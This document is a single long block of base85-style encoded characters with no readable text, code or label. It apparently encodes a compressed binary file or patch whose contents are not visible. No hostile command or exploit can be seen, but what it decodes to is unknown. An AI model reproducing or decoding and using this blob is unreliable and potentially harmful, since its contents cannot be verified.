z0@oV&V==EF=L1p=W0H3v&M~d{&2f^#aRkX6ZwnO9|5gsYX|~x6`wQ|Cv6NR#yqlmvrT|LOw(#;1gBZ3rA-Rp;qOJxt=P!;n{1^#7TYr9sISW^thN}TN6GQT z#tIBMtnQ@Nhr3~E8KJ!KIc`CEOp+&!Gf^TOG>QQ>$M^cg)5H(N1gefqcraJOr0B;w z%VfnC7t@&TXn=7pv`%8!utBLk9T+Hh}_5v%A4istwJa+MnJ* zp24Qgi#W^5L=*uG)axs80im8;i5r4USv4dkLOw@`eMu^SyCJu5 zW2hpM_bI*acm zHg&qbbdk@sY?^U?yo8wommws8>s>0&5Nd^$54%u$0+;c_4x6OLC1)>+5>h2kb|oS^ zLTU(F|4d#%(=mW)is@E6-S*>Sd1+RonxS6NuH61_5H-Oc{P3rmha+yN+Y`@)9BXnY`sL6Mm`oTAoZ+^XSB>h@&GWvXc;=FFp%;?Vivrf zRw|4rnwO{&A6JVQRCK`#J)WLJQ}DfXy;oy4!Z00L@5z%J?H&5J#V(?MQ_rSePF8)o z73W}a&(Z>PsJ|Bhi~-P2cknsI-AbRPuJmr5NbjWfPmND66t{m-vy;OI;z`%2ooREg z4?!dKD>Q7Qtw-BpDp^(A((HxiO%0nGxzM~c2(yoN#_q&h5TyB=KPd8dR>Xl|AqZUw zw1OGbVv7=?E6jajiAUJfX8S&MZr1+t??QigFOpb`?c8jarUd)$p3CJu9Rmx0B;6zt z6YhfCr6Uk4FVd}&$~ev&{SWAvNSXhRziB$o(hEr1h|Q#btWpRi@*zdpwFriRuA;-H z-!9{kDI(`N@PnNZnS*hUuY;)(QDg4*g;o>jXi|uNhTaF=ZV}yskje$jb6|qJj?2i| zf=KUKq_FPxrpK`?@hB84Q!rNc}-|CT${UK#}h=5hwz72 z`);br7x4tF5G|5jZ>qA7n(aBZg>~_)gVh8usdA+YW{|_;JN#p1xnf5}+|#UPB7qMN zhxPa^e10q6+iaWTHiA3jfWr=hA=mSY4CZOrJ(v_ou(T~K-s=yQ5G6^yle&x|-QmCK z7yWP?iVBzEI3$Rv!H;JYfsOKn`R$?}RIJno9v(?v+5t17h#-y46YUR+9LJ&O%mv=g zNWj|W5uuRu3|?=hPoj`+Yt0af%=Jhkv=6@_`_2n!7OIyj#-nz1lbz%!UdLrTkSnQh zjT#WKzlRUPg?ub`@xUHhe1xd51jQlo9V)}8d28s?xP~_-Uc-cbt+of7Nde|NHTOfBt9qkErd}p9HFn z&W!R|foFsIzD4|3Jb@(Z zd{yApfqxD}BKGH96Zlt9-*-L#bw5PS&)*n`-`kHbiSo^Xw*=lAcpF&8|2w06SK!^C zo_lW~5tIJ>2Lc}qd?*kzi=Tfa@E@R_`*@U}2z)Y*KMkt>OZl(%eLnC7Q15+-|2qE~ z|8@TLD8C)$cLLu9HReBx^2eb1ZyEpf{;vW{c!-``2I_gZn*F*8Q1_FK$B*{~D<}^E zb^q`b_^={Bwaz1D^*~?^mPzTHxz} zZ-Bc0tth_@s(v2?eggKOT*5_qUl))=)-|v^up6j)^^9__z}}$l!_4LP^^5YrD6a|f zV}qhRIB-bd(7<7V!vjZv{8%-=^!(Z=*9VS@<71<|7N~lU3mhNk8$s23QXF3otfjnt zly?C6u^pql6R7unFUsE!oD;ZnoZmIdy9MqZ_(PB%+ml~<&X3~wK7sp!{Mdd`-aqhw zz@G&EH1KC2Klbw|9~AftP|rUELn;AMfAgZ$W)QNAk5e~$8B0HfwjPXzUxNl{)u%9BAorwvrSHj49`fU5Uqfm?vO zf6FLu1?u{3Js8Iy2K60}#QDdf{CJ#yGRjXy`RTxC1DD46 z=cD{$;LCCRmB3d6UkiLa@QuJXL4NEVeyN{61Xb^k0zU!yvCsLX`Ywy|SAivbl#Z7M zmVx@tZc*+I>i(Xf=0Sf@&mS1)*NpRndpKj+6qdF?>#3Vz=NkRNN}m)d(4sP}Ib zxOLz*fwMuqZ#!@RxF?9dY=_4A!$3Xfj3}QOcowMoo)_iw11|`?5Y+Sj8s%#PuM7Me zsQ3OI)N^i$sOJ#dWqrWPI6f$FFsS>7MtK;BDb^-Nc~andflYzygOZc7QEmk_ zKQ;wbzb)eUmQmh1%G(6a2KC}}bMJ}ry@B@y-VcgiJ_)Lx&wv^)FM-mvmw{@JFXA})NWC6- zjQw~w5CgxlH?F^D2*{6BN4W;nb4P-zKMp@{|3*;saw@3$O$YU!mcVRaYaoUlzpg#X zGXggZ+$eA+sON1G2kj|6!E(2;39o$9^2;{Q~z7WCe^r|0kg6%W+XY9#lV_8s*bK zy`OYAe%)1Z{OZ6zgS!6uDE}SQ^*2WOrYJ9o^38#_1l}5WTj1@1cLd%Ucvm3CJ+JpY zpx$#|lu6*@#~%oMFz}(khXWr0b>E{=ek}0uIR0dmp9=hE;M0N61U?&xQPKPVg($xm z_)_4@fv<$AO;&ej4~$;OBwM0>21k#fabk z6{z>9v-G?YQ01~H6F1?j~<<-f_H7lv#b_*Y^wTA2=XzVBng8 zm4Sl-2L}!b92z(*a5xC5uo_VBuZ!dLfg|Ji=qQhgazm6!ckA~z#_FdNtkihtsV@p-X5sQP{f)I9r1lz#@Q9}bN2L4m&vJOtEumXn7&pre7 z-p@f@r-MFzK+)OWp!jMfsCp7Db^Zder!K}>As(Uy6&feKLgjL{5w$3yEyQYIDcv2A3@!J zd6cgJb^TR=e~#mS0d?KAar|$f_|@IuSnxwo_4*7{I}wNL^&w}6--j>5k>qOr{60~} zgW%sq5P@GmB#sY{G9iI3*ENFtC=ke>KLgbFZWzb61l2y-YU4&i@kB_a72vJS$$F3u>Gn4{BbX9Oq8~`LT1Nd~V=x0~djM-uY3!Aj%hk zdjFr|_+^2Y2VN0)C8%~@0_r)pfRe`_jq>B5+Tn@7CqaGRtDx%n7O4B)iSzG*YM&24 zJ%?xkAIHS#xqR3kRK3WV?9Uwr>i!X+15o#U66Mc8UH^IDvcN9_zXWw3LBU?%t_Xj+o|PK@+=?jo z2!`rc9Q6SzhoQ7V3azrg;W>bEAS`vwILiQ~gTy>CQdRbX{s2Gsp^QLYah88|9% zbRbCz{CQ&oS-I}zwLm>*ZBX@K4>UhcDiAMEjPj%?H$|BwQGVUzzzqVY1U3gw1w}`* zpq|g#HNUSdusv`FsCvwd^2VU(&6a`N#_{byJ#R-)&--p1|DV9`1%5wpPT+!=lzGsy83fw!8T|NA|eFFCd^_=~pyno;UfjrGd`}z5wcZFGcy~z*j&$|Me)p5%^}{TY+zb zde8fyuK!mY|0wX|z)u1{4g4(d^T1_+Uj%*`_*LN7pz2uy)75w4G=D>AuvcL3z&?R%1hV^=f8T&8v!lB|k1eSjD+31w60GdUhXf7{90uw; zMnt(PusSdkSQA(qSQl6yI5Kcl;OM|Hfn!1S$G9ku2Q_{tfO`L=z@|9Aejr(wyxtoG zP6=!Vb>B2l^r$V4lYq*vpAooW;6{NnLGia)pz5;?sOM}8il6No<=q4K2;2))Kkps* zqriRQ{Ewr&U*P_6{3lWVX_OBPJSdL;BJh`i2gmtCqkLH4+`x{&d7$dOAn=I5qvHI+ zz@r0?iSx%s`MAL21AiTOLg0ykCk37ycuL@@fu{wY9(YFJnSo~oo*np`z;go64g783 zB2eFTev~f=yfE;hz~2S_KJeneKY+Ub(kTBi@K1r41zsL_Mc|czR|Q@TYJ6S`YMfjT zimu!g=NAVq0rkFHqI_$VZ;$dFfp>y>&OLGdzQ6|p9|ASL9u9m2l>GKol>Z6pJ z*}&%lmj*r`_(I@|fiDHV4C*fnz z3H%h)^`A$1S>P9eUj}{!>N@M4+M@(ixh%>gt@C#38dx6ZyGOYqut#9eK-LHOeZ2$w z1g;UtB3(bep`+I1^MoH;wXUftv?z5x8aGEKv2{I?CGw&JNr*aJ#_m19t#* z-;PnS(!f8(`O5+? zkK|}AI9;21%4Fxao{JQ>it>ZvN--l;FqBI77Mui`CS9c1G@#Xmcq|h1d0?BRb*YykRA2=XzVBng8m4Smm@$q3%9v(O%uqv=RFcVl4SQ}Uu zSRXhta8%&vz%iiOs{zz}7$3*i4qPX&F>u|$34s$q-PaW5^+7#vgD6jl^V6a{9Ta_Q zi*kD)+i-e&Z5X&w;LN~{12+lW6x4gkCgJyO8OSnbFK-pNHQ0~qeh}qdLACE5QQk9f zufV+ne-yY+;J%>Vw||rm2>c1C@BLYnNrLL{|9Rj+fxig+W#GYqhXfu9>N#_x+!1Ax zFZ%NqfO`LtaeQGMKRWQ3z+VNDp2qJxF7WukUk9ELcw*p5fhPx^5_oFhX@RE)o&l;K z&jDqJ{1d49Umkd6;MIYD0X3hm3H)my`w#i?>jM84czxjC18)HJ{F|b@IB-ee&4ITB z-WqsY;O&8T1l}2VSK!@&_XOS>cwgZCfe!>e82C`&!-0S<1Ewndi4Y`MObAV9~3w^a7f_Lz+r*ILA|Fc z%GIF0vo^|gf%SnSK$_Z~0oC8ngU(0e{L7%; z_bRAYRcgL>|^QQj_a`@kJQ*09()!1ySYf5>VfHDX98i4(feZ#__8Hua5J74ZJ>% z{~grxZjSOTp!^c|M)^Ka-|;Z0>z)Ah{HH*@|CK1e2C5#fgQ~~d;3#ka%uD4#pw15t z90DTB*r+Iv2IYroi88s`{XIEQ?K%V0`!@~T3RJze1NGeP19u4gPT-E9>ib<#&-s4f zE^+<`;0%sm4C=Z|;{2bYe0kuNas1DqzUNv{@4YU{H$?fyz?(pQ-@Tyf`4Fh_`ZTET zcmdS=UIO);m!te@;On63`&OKPJMf*rcLU!8^_&l){2{3OK92Gypx*xlD7zfHD){x~ zU^V5DpspVSs$Oe@x_%<4=dK5;eocYv$MFrKJSDI>aB7^N4r&~21ZtdY15yRsHIDBC z>iItg_5K4uwd;Xk8+aY4_PZTaz3&Gh5%vtI`aBD&Jzod)oHyh6TY+x}z7zN^sCp~| z^_?XU8$E|4z8=Rk1k{?H9YCG`9;h`%KLu592UYK*;{30`ddioBW5FlD z^}yZ)0geIJ1GQFYe^B4^3sBGbC8*~g2CCf`fcl;zK+XGOqkMdnPX%?~X`txlqBws( zsP?)XRK2bO^}RPnc?qcdZVtR9@YcZF0&fR(|6QQk;eo(MLDlPVQ1yBi)OF7Xz7*$Q z34AS%zZvDXLB0Q-z;^@R3w%HD15oez7pV65ERKI3xGeAsP}hAGC?c%qmw-B67UeEc zE{}4z!0v$+fjt6y2KEZ<9oPrdbNfcQUts^h0f7Sp*9@!-927V>a7f_Lz+r*I14jf_ z1y%=U0&4DHofo*{^0yhfW7*soN61ZvL zW^sOtC~pa>|7J&dTTtV1=P2(I_=CV*19t=E*Pa{Yj=*`KzTaF|svTH7 z>{tuxxugv7?`{B95B56o`=^1rzZKMdxxlu-_P`mSzHcK?{kTPxS^e$LCy}$?&qn5s z+k(38yK(;epz6I_oZlVP^Y#GMKEH@E8F~HwLjn(t<8!0j5#{+&UI6O*j*RkAfvi#X z=Nuh)OyI8qj|KJq;{!>w;N_Fz{K-*flSY5eX@RH5@iPO@j^n=xB%7LFe=ewcofqZv z11|`?Fz_N!*If*%K9|JtOXK)up!mxTQCh@f5L^fR8dN`uc?e4aNr~%a zvadLH3G5nJ9@q_3Ju0HyBd}*+ufX1ceFE12HLeDMx_=0${?Ekunm{r%`1$%Mj|?0I z>O01PYL9h5edi=lVYhCV`uRx^Ht(?;+8! z%Xxdn`Mp7YY<`p%1RfrEMBtHuM}eyMF`&NVggAa;;7NfegSzgtD4!m91}MIHev~f& zMOUtf@|B?O`!lF^{yV7p-w3LmZv*w-dqB0%y@B_Edd^dzu74WTbDoRyO9P*e^DjpE zrNEa1UkQ8_)N@`3^_;h&{7#hLkMf70>hUj7YmnDPh}QL!K*=jDpxV71)O9lgHw5+k znNi*t)P0*pdGk2GC5R|*-v`xhdxD~;hl2IsdEiL!c2MngKUf343#vW707rv$TGkJe zYTj`)sQQcv91H5YS)l5%O&p&M>Nz`uk|+0y<9ma8-aeql-~NF=i}MG9>aRmV>7%~_ zb^URmu0Ijf`%eP(zEh)oT9nU>@>!tT@3&E21nT?$9Ob_RUIW%~{7F#Hdm7Yz&&T-} zK)wH^D8C%|N*sSJ@C{J+y$ia$8f7s>)wcxHbIPJj))D_6Qlt6#iohO$JwaXH8`O9A zi}HXtKQN9Dj^jh)_^`m?alGpP$2Ro zek)D%#|X1RB)*ZhM~T#5YmRaHSP}mdoPM;^Cz+GYDdsUEevUPdGf!~-iRMY>$>u5M zspe@Se$KFcrg@fmwt0?7JEn`wk69w;T`3axY>|0?o!CKqTx8xnVLoX-Wv(`#7V-0} z?KS3e=JVzYBK5p1QvZ6VZ!kBC)c>LFkIaun{C{fuGm&yzZGU5K6KUTL+uxfzMdriL zwtq2yHGdO{Yq!WcR8KFD@Y7JFp1no-VIProtcC5CBIg}qyR~_!*jnj*MA}&(Qf`Rt zDiMFx=17tD)tIB5K1L*-$+oA6#5K+KaUy3 z`JVGX6p8C2^J6jk-T7P0uSDY5CQ|-ek#gH@?=ZhNcZytJzu5j&B)-2z_L;`&Ed1y% zhlL;gX2pniAE)mtvVOO)tv?eK<@NWlgZd+wF*D69 zv#Usd<%pc$$98{nkjOkJ7U_plk@(9*{Ok8w#eCDBx(Yuv&aX8`i(^OFJeP^o zqdx{8_Lb&UBJs?&J;$7D&NJtm*O>Z^{Nd+1k^AUHBJ=nGk+>do{zK-&=5kSwU@0$) zjPIKw^{*4z_dgPe^E0P!5%Kqx)3=#BMAnC0BK!S+BJ)kZ<14toNWT8&WyIM+q@Gqz zZzEE^lgNDOB68m|!1;qk;wTh3Prns6I8>y)way>s^a-Lu;4gJwzCon^6(a3^T%=!K7CHYF5r1!p%+EJP z#%q&EKYSum?lY0~Z@Y+}ADzG3)UTooKaE7)s-zqy;!nROFWA;>XSO#xm`9i$MaEyh z_&Vy%GPBJb5x?Ed9%fIom)TpSUHwJo$sng6W#*cL%{((-o=1}{>e^1)#+!5lt0(${}b^uU8H|56zR8noqxa6mx+{nP{jXo=dUmy zHCH)bf9W^MKV`0V`m?szh}8F@?U&4#&9&w$=Bpy}^KFrSSufI$pW6OhB)%;oNcznpSMxlU*#buZ?&5M3Lvl zGeySbQs>_!>LZDi2gG{fQgfMz--pcQBIm6U_5YO5CA4?DsE-;_{uS$q|B0MeuU%r- zH&e|9BG>ocw)ZjjHJh6IiQFF@Z2J(AcDE7f-}X-LAksf+BIA9O({n}Uagj*BSBbQL zn#lN_X8unk?&)HCaiQ%yMCw~4;^%&+FA;f<`IPgY5$nrdBjV>dk@meR64#ryH;K&K z?cyM@vnnI5ULy0eK%|~wBKa^Cf}7nnDQ_`lWmZ6f6s zinRYOr!NvIcc1P1%_ZgoBIhl${h;}f`LMa%e8gNKaveNtdyV;=$hf^C;`cSDzi#_Y zbDjB)^VgdjoW9BSX4~)Ce&6Y@~Ak*#6i2Pvrc1osx0a-_VNjPc<8e#M#)~Q)K=fAT}0TiOiRS zMf|ij+c^C&v9Z!Snq8cpX=aI>mu<@9q!=H>Y!=U-r6BofcX z<|XE(=4Iwgk?ZGXk$P?u@v~5*efNs^xlg42Rbn@Bn@G9uoWEV<{GGOcFn<(@?-%F) zF0$U~cZA3J`c20{{jsf}ej9iA*-NC}y~QSCbCLQE61jf$$1ftktw_Bc#3o{f)4Q0N zW|pa6fF0*$o83g_LvN8d`-{{w(D{Qz{0|n{pR1ie%K0_6N1J2K@#aL4b{uU^GAEl; z%wx={=CLAi94B(!ob2>d%u~(NMB+Qs_E};R*)v4ibFoN&T`e{iuN7Gj7K-@4QzX8- zoc^FleJe!HUuAo>Ncm^XHBNs?r2bb#?#n+BsqY&RzuQFS&F>=T?{@m1=3h?#$M(Or zdD%$$`XYW(Me1oJ68`}rakg-NOS6^8d573;Z650M!_2lK{yNz1DAL}}W~TGAMe6S+ z;wec^B<9V{}YKjwR2)O6tVXZiGNR# z^Y^j6uh~@O{QX7d=i#>7iIhJ=*3wYZ1)lF0bIY_2t55qUoT*!CwP_x<0C)cd2;cZt;Vvq)UO+ukiw z&%d@)j!f#QCvtuR+YQY|W@EF7xre!@xtF=Oh@Yk+^)_>QbK5P&Jf)8jiEo@p`H9Y- zBGT?-%&F$FBG0eqio`!dasCQ(rTM7&m`J%N zMEpPH^ws9m<}=P;BT~=HPG2k1?$^b=#Lc!p5b^hsNPHjL{?zto=I7=X^9%D!^D7ZQ zTWx=1ZZp4i{&w3tMApAwZ2u|}?_VN*{&9Z8j3ll`W@C}(n8U=q#LiAX(##M!Kht)W z+11Q8yO}v=ce97tQ^Zeiv#-tN3 zxzlHvSBUt#O62@GPM>SebNaQmuQRVV7nnDQTvzvr?BAz*R>^bk=W#iaBRd0$d37K*ou#C4a5zeVO^kvQ(LeXmHI z4~UdsF0!A#Ear(#vXXfB5;<=l+xv-}*W7jsF-`U$QByYM1d;M5nWu=f`*ho9io|u6 zdA50u^UpJ4CF1ugk@{vkeU8)To7b5)IR8f5w}?%3-V%{>;->{1D zZEAZzQ-545+Skl>b5nmaD$-ksT)%B?w-n?ucE;@-+1WxK}q z6p?sO67^A1%52*UMA~<=NIkcRjKgi_LXr7;kMr*piED}N2gI0nBIm6TDgUHMxu>1} ztofXHxY9otDff*?z1u{}Zx@O47pMPf{$~CzQqOMNf0}|ypadx_N7*LFYK18om7k1}&bu8Tt3MIz@9wLQ!%F-t}IrCg+3h0`mYUTuzYdW}fA zF(UJ5g3~9ON1Kz($>tRE7;~yfz0=I&%@alD!&xHroGUV4&J$VZ=GvYovd-RU`zG^d z5x=+EzD>l>9k%Z@?=lyei$%)aD{}t*PG92mWwswQA2J^{mz$4>yoY&3#LsI^e_do; z-nRXYx!&AhZWK9hv+Z|9+WDzSd|O2N{cGoM6)C^X{Lbmy%^l|V&i}#okG6jj@%yXo z-<|)5)Bm#lx5)LIs+W(9M+38=NIZL(`-u44&-weC2bj&w<|1()WVSR9cK#t|Yp1ud zeVBQ;)7y#E-_drONc~5O#F-(|@7W^ddN{qONd3Ldz9Q|*6}jGv!~x=EB7SC?my4Wt zh3zZNtDHXD_8fDrNIchw)W5*#H<&k?H<>q!l)GKzygS7MME!aDmdPNbe&#CGD-BG>nNk@0$0r2Km#{yq>n?-Qqg zYJTSYEw;Z9Y41+kKRADv?Vrq_&0ox4Me6z8_8;bMr~f7PQ+`j~d=ghLk$C#q?k_TL z28;SCYRXuV_DvS|6VDL$6)zS!{}Pe@n<;YM)gtYlFS7pKEaLxmk@5>g`gf_wIII+j z_c8Nvk@Bm>_Tr}^=Y1wp{u`0{z7r|8Q^en2B7Xic{}Y)Xd-h1u_cr$x@z>P${%b zdA!JT(ZwQhUM6z>Op$iavVDc~ueLqgoMX-v4^;WZw(k}>|6beonfIGZoWIoeGV?)^ zIF_3$o&Ko#n26uUMaJO;r@tt2-dg9s>h#yl*UdLX+WUp=FGc))ZF{Tvjk(SIR;1i^ z+dFLU6qzqSIsIp+|7!a;^LO(PbGL}Uzij_){^Ruj%z8bO@u+X6nhnf`BK7YfGTu#X zH*!vLr>_>Ne~rkx^r}c4Zn|}+9N0VAKTAdG86o1YLc~v%?P`(pCOG|Qr%w`T*Xbg0o#p&0{_EyCr?0oYS)`rsip@$6%JU)%fH-rqdHZ07s} z%@$5?X|@uH^H8&`)7zQt%?{=fBKL9KMf#_oNPM}@A1o4IzU>0%53^n3{4$YsdZg1w znKdHgG{zk7^a9xi`09W^JhB$ zO50b7_?vBejyczy=lpBT>zsbQ?Hfemy4C5onYWt@%{$CHMe18564yPp?=zQ(^#5{^ zdGd(4!dxkG-YSuHKIQb)=F{dg=CkG+^EvZ*^9A!ok?ZemaiF+Q-(-CnE)vHGk$S5{ z#%HWZJH|VIf=E1*ZR^h;$9czy^w04k0A|&OgugMIz_TbowljedT76 zdTw|69U|rK7K!s7^Innl{3+Y3MeZ}#*?wE(yiFo;z3cS%MApsEMdsaB=WjE=6M4>Q ztcL{R*h{3|y+!=&YrCoQo7rye{DVa5Jw!ZM>><(*y+ziaJP|(yVrTIb=btW8&l%>K zBG>DsB7San`a<xpgNIcV>e!kN$5UKYPkvQi%eZELL7Ky~W*u2~M z_llhNfYXxsnC$aZ71iHQHbMB;1e^!-G}y_M~Q#e-yb6{)A2 z$aCl*k@glkeTc|;BShv$tw{Z&%`qa^?a3m3PIdZeB5|B)`z(=mPIvkRPQTE+NTl7f zMdF_C^lQXi*&9UsZ8qN*^{P3gi55fR*+V3MZ;^i4-#kd+497@);uS%(2~F zB>tYZd)e+I(of|g?VRNN$>tQ1dXKd|O~lXfBK4gmGH#cP#C5eu{j<$E=3J5U=G(qT zq~C9`eXDt!NV$a~_1@+5Mdo7jZjo~LiZRcfzSLYMa{j|2Hxx@Tk zWS;$O`xo<9^EdN%k@2ao{}_SsNHrUXoWG~YxE&%=@1f>lW?PZ-+KH_5*|xihTqk`+ z+B3lE14aDi+b$4kU$O0>BK=Tqd$>rw6=s#wtId&4ud!V#62~-=_giO+)PJ6NzDWI- zh{S!Vd71NPiPS&a>2pNtpC@u%-s<$*MEpPC{AEsmP~`j-BJElwa(zAH{Aa~BvOgAC zmv@THx8I%rhwXYtCH=RDNSu3$v|}HU_O%vy?#vcR?=Ir6P^A80BIlKurDmB~E^=Ol z?MjjJYDC&QTIBpOBIU-5T>oc^q@N|yuJg@HMba-5Y0n&y^X7}puUkd(ZxgBKE|Gc` zi=^KzvOYaz`(csi#Wl8{6Y=+=?UzK#uM_F#4I+Lvij;d-B)(5X^0$c8_oYaDJ4DL; zATo~sh@>~lP5Sphk@H)N#M@Tn{PrUILsyaOB3HyuzF1Ez5ZjB>MApgaBInHzspo33 zo;cg-bIti8ab7QS-P|Tp&l0ho_<%?~588gn_9M1em@A#WN^GU_Z#(@Rr*E{qNu-{S zMXrZ0#KXjTgOmE|i^Sc)Y~=LDBK@(q?S0IB#rjI$&pbdR-UCJEWhXI1tQ6~sRU+-J z5gF%cB5|B7GOsTc>x(l*%3m%rkFK$Ot%&~xVn=bc)1Nk<5$h{`jqT^m=gk*H#`iU` zzW9bnf4?stBK|B=?=R-BBJu9F{ipet`M3FxNdMH&OWM;!tS@^{k@Tiws(66Yn~T(Q zpm~tfTiR}A9&8>Wa=%?5;X~cKGv}MvnAeKLd%f)iVyf($oPLYbZ#8do`a;`xn0GpT zk(jFU?=kNeY4*7BN-!S0d%UHn)nz|D8zr9Zvt=+$rWOy_O8i0_R^SQs2eqrRGfMUvADauMlbPeB0NEoPV9U!09)Ldn`xT_W}V zEaLAM^H=jX^LO(Pk@A0v4a9$K^GjMezn)oNr2m_UTqjLM$~P0K{~(d_Ekyjaa(Zj0 zA1XFfdON2d;q;CoemdJeQly@2k@gjdjOz&JSD2L|^;C-u#nHCMiuju-64zvrxTcuL zi1+zEZKFSmFFCk@%|3ks|$bwCzbE^-ZyTjHp)^DR-ofnX^iHnIkq9uNU#Nz`Q}E-aBpIWiAq9K8Un)iAeuFVm>K0lD$U6-*e{kV$2hfetE_A zYvvmw<=+$=iyKA!d>|6<$0G4;wf(I~`R~l_<_?j1cG~{I{L$$@+5Xx5#r)O$P2~JP zMB4d})BiR96N#t(kfi=pk@oK;lD@Cgn~I#@-1dRyK_dQJimdyc#KvN#*+XQV8Ypt# zR3g$}!$tg8ij3<-k@g>LPBJHp_&>(>RNK=;&O1wtb<+74i};^uUg`9!MCzMkd#;Gz z`6A`7cm9peze!}g7TUf;r2JhXe(n~Vh|8S*kVyOwo6E%}vY!y~|Fp>Y&x({=d|#yeN47r}S?70()bo?be62S$i9c1Oo_$5V z5=bc(X-}DmpAohzMBXQy>hv?j!)0IR{OipH<_+eJ=1u0!B7SePeY?3(q(ASpeV6UU zBK>;5?FXE{)b@k6AF{pN_9G&ncf4$St@(;b{jZDk$2zCKZN6i!H#dm%&nF`N(|TBP z{$V2hbhz18B>wicJBZZN$#$BVE>iADk@~Zo-qp+&_fUFY+xm6lq6ek@%XJdx+GtuSh!% za(WB1rP<0n*gQmJe9}eE&lEYor%0TAMBd|+*&ZQMZ-q!4Rko`|&L3@ijPu9Y9&b)? z`q3i(r+*9OwY$oEbxp|;@klDg)DN??z?RMfmva>|`r@Kgh^)-(Y*@s7ow12cn zeB(v>XQDaD=~K<)&67pqIz=S@v&|VI^ZE*r>+5C_f47>qi_~|g$oY4fi_FF5-R3>! zz2<%9{pJ$$0duKHJ07;Z+VEacAf4_>vz1!)3 z+WuE$yc(7#^ITY!r>B|eB7VAx%&VTZ2RMJAIY{iF{K;Zd z@pO@Saj8hXmx=hFW%~;AN|AP6ZF{yzd*(a+T9NY>*uK%cS;X%xwr{h2ySdQ3L(EgT zFGT!&?ewi8^=`BMt@)j~-P~b*Z|)TFv&;O&{9VM~ZjreD6nU@EV|a4^J6t4vgjpfd zpEV-qjkZ0}_9T(i2r#a^)0Y{qw{Yv zZ#Hic@q4@Ng(CC!UfcJH_*-K80g?Iigvh?~mdJeB(duvo_NHFDAJDGZQp4w7Fj1B5^3MVPG2F?&c{XkJt=bj8t1|{a z6^Zj;QC~Sp8R_&YMKL^UWFN1MX(e)zpbdgB^-sAjx&HF_9^Ffhud{m^|glJ7V`^{_I>62Z6fQ$kIvsE(hv2jl5(jcaWoRC zx3SqoB;I{(Hx+4TYuksKZOp^W!_BrLakRJHK_re0k@~Vk=4E%0_Vp8~FW2dX;{LKn ziIg90juVM8CS9{GTV%-&Z?*p2&IEi^O|_NSq5r>bb+b z)4a=EWG)u*f1mC9%_SmnEVKQf`H=ar^Hj~RWnoo)Nf5!H+<{I-k z^Ldf;Uli%5*G0~I%lYffw?*2q(fRK>{XO%2^8*n-pPS!^%%|T)`u87^e*0IXUsJ0S zyMc)RCbsu5_Y_%QnmfOxh@UpjKg{XvMb^bkk@j@8-A|-F14Yiu7pb>c0FilIAkr_xoL?s5Z@7q` zYLR+II=#krt%$#|BK>}>$n}4wNW2S0&bvdT+#=hHZQpDAKC!j(UliFF{u7xmO-Cj5 zHy86{j}rG5CyV%-D&qfGv4wbn?F&W9U2S`|IY;EY`6BJU$>}$XyytvWtTxXr;5~niby|REi!KNMcQ$lh@S-__1)m~o6XzA-b&vj64(18Ij__#6N$T0#Q#XAj}ob;*6CxN zK2BubO|yNR$oVIWls{F(&l%1?)Al(cfI?H5T!+w@A6BB7XK4xxU(n zl<(;DG}~Q8=6!#2h{${^6Y(>`taAQD5xC z{0YvVXdZ1&5*e=(MaJP&k@Let}4w7mE15*!CqNfVDv|5%UXlJ^ z;q;Z}qayR_8Qaf__JSiT4YU_`Y)b*CPG8-Ra+(KREwK zbC>y(Nclf(?>7GwsjvRnq#shv1|sz}vfbEh;`BX5;@aPKGm(C7A<~~M%~sAoM5O&~ z%(hN%Zyq6XUPs$$W@j_Q%oHh?Wjou zUt~VqY%UVZm?M5|d#m}4$a&w2_}O85r}?AE`Mb=Y zMB2GqWPNQkK8a&bk#_7SQhtAt`QA!wE%p#;$3W)~GLI6ef3Qe<3Y}hL4srfak@!l* zR^n8rPZPP$7CZl5k^1j5?|1rA+sj1id&u^~=5i7LD{Vh&`*D%$=LOp@i=6+8NIkEL z^vB!I-{AC(<|cEq`L6k%`M&vqh~JNFe{6nYe(L0g;&i}c^OB7U}uTo3gp zBypySq&E}~7msjyN3)a2b(JA9j@?B3^%SYEk4Ss_n*Bul4G=kRuo&a#^dYuOM4lri z*q$unXNt)AQ$_msG?9AFbpBc9*&_GHvz&jGImh{P&3Wd0^BS>@&U@JQa`O?9eSNj< zr_E=~XU#R{b0TrQX!|AeWpl0hiutO@y0b~-xnQeE`*u11C-Y|!zrWf3U8EoXw*8Mt zf7Y9r^jCc|)ofrkG#iPWzn92-JV2y>n~U`Kfg<da(z51QtmNxl}P>* zBK18ZlK-qo`g69QxBa5+mu#=K{fhaj`I`B<`G$zUw`{Ky8_3=ulD_l_J;u0`o4B^A|h+Zu1`VUgzI$dx`mg zxzza&nh!gDx%r5>!dxj5*D8^EpAhNir=9aS1PJi8eL!=)z z*xo48Zy$;H`NaIp+#<4W|0FVgzl-$iKO*(io0PDjSWk8%5r6xNly4?79&JV9=^#?> z2$6DKY-ftpGf1S|V5jGaZDmgp>x)xG%AF&!Zp{+$cZGSSNc-lC__@yM*Nen^lhbdt zeTVb!H19GOiSF*D1eHC`pn9a=Q=7HuxW(%{W*~&cFJVd0P zLv6P)4>J#UemmRkMdnw!?at!l(^?z&oJ9E3a!}&XH{~$7te|7rr=5FWzY5ryYZT@5aYyM}Z z9Fw#!Rb>5ZU^X-xIe!n^dy2%nx9xqzhO!T^-Atsv4zk_CY-zSK4>k`mTbqZPZA9uh z+;&^r?QM53k1#u$okY${x82!1(##O)zizg3M6Ro&Z0DMT%{(*TED(9`P-DB+9Bqy< z$C~5BhAKZvq+gB^ss9A0pK6{ZHcxZ@yr@Xuc$J-dfwQ zn6HY&@uuy!%ys75<~!zk5kDJkZ!$NV?}`nT|B*xpw@5ty+WyZ>nVO7OJ+r=< zYBn$%nvKlHW)l&=dzyQj`{hY>{|#Y?6{ zPo?cDv)bvS%vzE9$2otzIl-JL;%AcW$s+YkwSBBPO{CoMwofomG*2>5Hcv56HBU27 zH_tH7G|w{6HqSB76{+`swx^rtn={M{%nQwn%!|!S%u7Z5&9r^FIm^7lyi#Ny%(Xqw zoNrzu;^#VZfk;2!Z2MM`@x9Hw-CStiVcsdy--|{3-6P^>iS4B#ewLXJnh%)|o6F5d z%oXNJ^HK9LbCt+_-ZQqJ6^Y|{+b@_enlFjOw^pRwYfgXNe8YUxe9K%Xa^5?(*P9#6 zjn3aJHd48dMErj$((cbh`r}L6UzuN9ZBs_6d^`P156uY8 z4DB1*FElSSDOncB!$U`fPM3C6Eba7PC*r4*eoIL^#gE@KeR75N3>_3&9Xdvu9_7=c ze0mD?rt1?SG|3$o$1|jz^@CD|en7j0_K;>qex`bY9-=b({BVLrK^5pUc2}~sXbeNGq7FM-7eaO(z@>YK`GNKQhG(7^wM~> 